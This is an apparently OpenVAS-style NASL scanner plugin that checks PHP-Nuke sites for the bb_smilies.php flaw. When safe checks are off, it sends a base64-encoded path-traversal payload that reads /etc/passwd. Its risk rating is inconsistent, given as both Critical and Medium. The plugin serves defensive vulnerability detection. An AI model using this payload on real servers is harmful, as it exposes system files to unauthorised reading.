##################################################################################
#
#PHP-Nuke security vulnerability (bb_smilies.php)
# Obtained from the initial GPL Feed
#
# Updated: 2009/04/23
# Chandan S <schandan@secpod.com>
#
#
#
#################################################################################

if (description)
{
  script_id(10630);
  script_cve_id("CAN-2001-0320");
  script_version ("$Revision: 8287 $");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"risk_factor", value:"Critical");
  script_name("PHP-Nuke security vulnerability (bb_smilies.php)");
  desc = "
  The remote host seems to be vulnerable to a security problem in PHP-Nuke (bb_smilies.php).
  The vulnerability is caused by inadequate processing of queries by PHP-Nuke's bb_smilies.php
  which results in returning the content of any file we desire (the file needs to be world-readable).
  A similar vulnerability in the same PHP program allows execution of arbitrary code by changing
  the password of the administrator of bb_smilies.

  Impact:
  Every file that the webserver has access to can be read by anyone. It is
  also possible to change bb_smilies' administrator password and even execute
  arbitrary commands.

  Solution:upgrade to the latest version (Version 4.4.1 and above).

  Risk factor : Medium

  Additional information:
  http://www.securiteam.com/securitynews/Serious_security_hole_in_PHP-Nuke__bb_smilies_.html";

  script_description(desc);
  script_summary("Determine if a remote host is vulnerable to the bb_smilies.php vulnerability");
  script_category(ACT_GATHER_INFO);
  script_family("Web application abuses");
  script_copyright("This script is Copyright (C) 2001 SecuriTeam");
  script_dependencie("secpod_php_nuke_detect.nasl");
  script_require_ports("Services/www", 80);
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("version_func.inc");

port = get_http_port(default:80);

if(!get_port_state(port)){
  exit(0);
}


phpVer =get_kb_item("www/" + port + "/php-nuke");
phpVer = eregmatch(pattern:"(.*) under (.*)", string:phpVer);

if(phpVer[1] == NULL && phpVer[2] == NULL){
   exit(0);
}

version=phpVer[1];
dir = phpVer[2];

if(!safe_checks())
{
  data = http_get(item:string(dir, "/bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK"), port:port);
  resultrecv = http_keepalive_send_recv(port:port, data:data);
  if(resultrecv == NULL){
    exit(0);
  }
  if(egrep(pattern:".*root:.*:0:[01]:.*", string:resultrecv))
  {
   security_warning(port);
   exit(0);
  }
}

if(version_is_less_equal(version:version,test_version:"4.4.1")){
      security_warning(port);
      exit(0);
 }
